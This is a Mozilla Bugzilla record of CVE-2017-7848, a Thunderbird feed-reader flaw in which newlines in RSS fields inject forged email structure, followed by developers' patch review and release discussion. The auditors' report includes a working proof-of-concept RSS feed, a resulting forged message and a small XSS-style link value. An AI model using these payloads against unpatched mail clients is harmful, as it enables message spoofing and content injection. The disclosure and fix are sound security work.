Closed Bug 1411699 (CVE-2017-7848) Opened 7 years ago Closed 7 years ago

TBE-01-011: RSS Feed vulnerable against Email Injection

Categories

(MailNews Core :: Feed Reader, defect)

Product:
MailNews Core
Component:
Feed Reader
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

(thunderbird_esr5257+ fixed, thunderbird58 fixed, thunderbird59 fixed)

Status:
RESOLVED FIXED
Milestone:
Thunderbird 59.0
Tracking Flags:
Tracking Status
thunderbird_esr52 57+ fixed
thunderbird58 --- fixed
thunderbird59 --- fixed

People

(Reporter: BenB, Assigned: alta88)

References

Details

(Keywords: sec-moderate)

Attachments

(3 files, 2 obsolete files)

parser.patch - initial approach, not for checkin
(deleted), patch
Details | Diff | Splinter Review
parsernewline.patch
(deleted), patch
mkmelin
: review+
jorgk-bmo
: approval-comm-beta+
Details | Diff | Splinter Review
0b656c52b5465d8de6bc3bd42a66d3d26cf056cb.patch
(deleted), patch
Details | Diff | Splinter Review
Thunderbird supports import and rendering of RSS feeds. After a user imports a new RSS feed, it parses the entries and displays them. Specifically, Thunderbird parses the defined RSS items and converts them into an email structure to be able to properly display them. However, it was discovered that at least two RSS fields can inject new lines into the created email structure, therefore having a capacity to modify the whole body. The media:content specifies resources, which should be appended as external attachments. The content of this element is placed after an X-Mozilla-External-Attachment-URL header in the created email structure but newlines are not filtered. <media:content url="&#x0a;injected"></media:content> The content of the guid element is parsed and appended to the Message-ID header at the beginning of the email structure. To underscore, the newlines are not filtered and therefore the email structure can be tampered with. <guid isPermaLink="false">myguid&#x0a;</guid> The following PoC abuses the guid element to inject a completely new email structure. PoC RSS Feed: <?xml version="1.0" encoding="UTF-8"?> <rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/" Cure53, Berlin · 10/11/17 9/35Dr.-Ing. Mario Heiderich, Cure53 Bielefelder Str. 14 D 10709 Berlin cure53.de · mario@cure53.de xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0" > <channel> <title>Feed1</title> <link>http://foo.com/?"onclick=prompt(1)/</link> <item> <title>Feed1</title> <guid isPermaLink="false">myguid&gt;&#x0a;Content-Type: multipart/alternative; boundary="------------ 2DEE3F98D70BD2C65FBA7373"&#x0a;MIME-Version: 1.0&#x0a;Subject: feed1&#x0a;From: email@example.com&#x0a;To: email@example.com&#x0a;&#x0a;This is a multi-part message in MIME format.&#x0a;-------------- 2DEE3F98D70BD2C65FBA7373&#x0a;Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"&#x0a;&#x0a;&#x0a;-------------- A320A96F6639F3C578F35383&#x0a;Content-ID: myself&#x0a;Content-Type: text/html&#x0a;Content-Transfer-Encoding: 7Bit&#x0a;&#x0a;&lt;h1&gt;header&lt;/h1&gt;&#x0a;-------------- A320A96F6639F3C578F35383--&#x0a;&#x0a;--------------2DEE3F98D70BD2C65FBA7373-- &#x0a;&#x0a;&#x0a;&#x0a;&#x0a;</guid> </item> </channel> </rss> The created email structure: From - Wed, 20 Sep 2017 10:59:42 +0200 X-Mozilla-Status: 0041 X-Mozilla-Status2: 00000000 X-Mozilla-Keys: Received: by localhost; Wed, 20 Sep 2017 10:59:42 +0200 Date: Wed, 20 Sep 2017 10:59:42 +0200 Message-Id: <myguid> Content-Type: multipart/alternative; boundary="------------ 2DEE3F98D70BD2C65FBA7373" MIME-Version: 1.0 Subject: feed1 From: email@example.com To: email@example.com This is a multi-part message in MIME format. --------------2DEE3F98D70BD2C65FBA7373 Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383" --------------A320A96F6639F3C578F35383 Content-ID: myself Cure53, Berlin · 10/11/17 10/35Dr.-Ing. Mario Heiderich, Cure53 Bielefelder Str. 14 D 10709 Berlin cure53.de · mario@cure53.de Content-Type: text/html Content-Transfer-Encoding: 7Bit <h1>header</h1> --------------A320A96F6639F3C578F35383-- --------------2DEE3F98D70BD2C65FBA7373--@localhost.localdomain> From: Feed1 MIME-Version: 1.0 Subject: Feed1 Content-Transfer-Encoding: 8bit Content-Base: Content-Type: text/html; charset=UTF-8 <html> <head> <title>Feed1</title> <base href=""> </head> <body id="msgFeedSummaryBody" selected="false"> Feed1 </body> </html> It is recommended to remove all newlines specified in RSS fields. This should be done after entities are decoded to ensure that no newline can slip through. This ensures that an RSS feed cannot completely modify the created email structure.
Group: mail-core-security
For the original report as PDF; see bug 1411701.
Sorry about the Cure53...mario@cure53.de in the original description, that was a copy&paste issue. See the PDF for a cleaner version.
Attached patch parser.patch (obsolete) (deleted) — — Splinter Review
Remove all 00-1F chars from the document. Long ago the xhr request was changed to xml so gecko wouldn't even pass a doc with decimal bits to the parser. But escaped bits.. Subscribe from local file:// for testing requires the command |FeedUtils._validSchemes.push("file")| in console.
Attachment #8922449 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8922449 [details] [diff] [review] parser.patch Review of attachment 8922449 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/extensions/newsblog/content/feed-parser.js @@ +29,5 @@ > return []; > } > > let doc = aDOM.documentElement; > + aDOM.documentElement.innerHTML = this.removeUnprintableASCII(doc.innerHTML); Won't this be trouble for newlines if you have, say <pre> elements in the inline feed content?
I don't think so, it would make them look minified within the <pre> tag but losing the \n shouldn't make a syntax difference. But I could be wrong; do you have an example? The alternative is to be selective about it and consider each header, and avoid the content. But this could get fragile given all the assumptions with underspecified rss2.0.
If the feed item content contains <pre> row1 row2 row3 </pre> ... you don't want to display row1row2row3. But row1 row2 row3 What do you mean by minified?
I was thinking of inline css (minified is not the right word). Back to the hard way.
This approach scrubs fields to be stored as headers.
Attachment #8922449 - Attachment is obsolete: true
Attachment #8922449 - Flags: review?(mkmelin+mozilla)
Attachment #8922512 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8922512 [details] [diff] [review] parser.patch - initial approach, not for checkin In retrospect, I don't like this approach. If the entire document can't be scrubbed, then all tags should be unless they are the tags that can't be.
Attachment #8922512 - Flags: review?(mkmelin+mozilla)
Cure53 called this item "high" severity, but what are the implications of creating a new email structure? Would it be able to escape the feed folder? How is this much different from just adding another item to the feed, which the feed author pulling this trick could do anyway? If it spoofs a mail, how is that much different than sending spam with a forged address? Does such a mail entry get created bypassing some important sanity checks we do on the content of mail, or do we do those on display of the mail also? Going to guess sec-moderate for now.
Flags: needinfo?(ben.bucksch)
Keywords: sec-moderate
Assignee: nobody → alta77
Status: NEW → ASSIGNED
Summary: RSS Feed vulnerable against Email Injection → TBE-01-011: RSS Feed vulnerable against Email Injection
Assignee: alta77 → alta88
(In reply to alta88 from comment #9) > Comment on attachment 8922512 [details] [diff] [review] > parser.patch > > In retrospect, I don't like this approach. If the entire document can't be > scrubbed, then all tags should be unless they are the tags that can't be. I think this approach is still good enough. I kind of liked it.
Depends on: CVE-2017-7846
Attached patch parsernewline.patch (obsolete) (deleted) — — Splinter Review
Yeah, it's good enough to fly, but not high end enough to show off. And things should be cleaned up as close to the input as possible.
Attachment #8926482 - Flags: review?(mkmelin+mozilla)
Attached patch parsernewline.patch (deleted) — — Splinter Review
some tweaks.
Attachment #8926482 - Attachment is obsolete: true
Attachment #8926482 - Flags: review?(mkmelin+mozilla)
Attachment #8927143 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8927143 [details] [diff] [review] parsernewline.patch Review of attachment 8927143 [details] [diff] [review]: ----------------------------------------------------------------- LGTM, r=mkmelin
Attachment #8927143 - Flags: review?(mkmelin+mozilla) → review+
Keywords: checkin-needed
Attachment #8922512 - Attachment description: parser.patch → parser.patch - initial approach, not for checkin
https://hg.mozilla.org/comm-central/rev/0b656c52b5465d8de6bc3bd42a66d3d26cf056cb Sigh, this was fixed in TB 59, but that target doesn't exist :-(
Keywords: checkin-needed
Target Milestone: --- → Thunderbird 58.0
Status: ASSIGNED → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Hmm, if your patch doesn't contain an author and I import it, I will become the author :-( And if I don't notice it and change it, it gets landed with the incorrect author :-(
Don't know what happened, it's set up to include author, and I didn't notice either. It's not important as the real author can readily be identified, and you are hereby indemnified.
Group: mail-core-security → core-security-release
Target Milestone: Thunderbird 58.0 → Thunderbird 59.0
Depends on: 1418666
Attachment #8927143 - Flags: approval-comm-beta+
No uplift to TB 52 requested here?
Flags: needinfo?(mkmelin+mozilla)
Flags: needinfo?(alta88)
Comment on attachment 8927143 [details] [diff] [review] parsernewline.patch Review of attachment 8927143 [details] [diff] [review]: ----------------------------------------------------------------- LGTM, r=mkmelin
Attachment #8927143 - Flags: approval-comm-esr52?
Flags: needinfo?(mkmelin+mozilla)
Attachment #8927143 - Flags: approval-comm-esr52? → approval-comm-esr52+
Comment on attachment 8927143 [details] [diff] [review] parsernewline.patch This depends on bug 1411716, which can't be applied. Note that the regexp landed here needs to be corrected by uplifting bug 1418666 as well.
Attachment #8927143 - Flags: approval-comm-esr52+
Flags: needinfo?(alta88)
Hand-made comm-esr52 patch also including bug 1418666,
Alias: CVE-2017-7848
(clearing NI, assuming we're past the issues of comment 10)
Flags: needinfo?(ben.bucksch)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: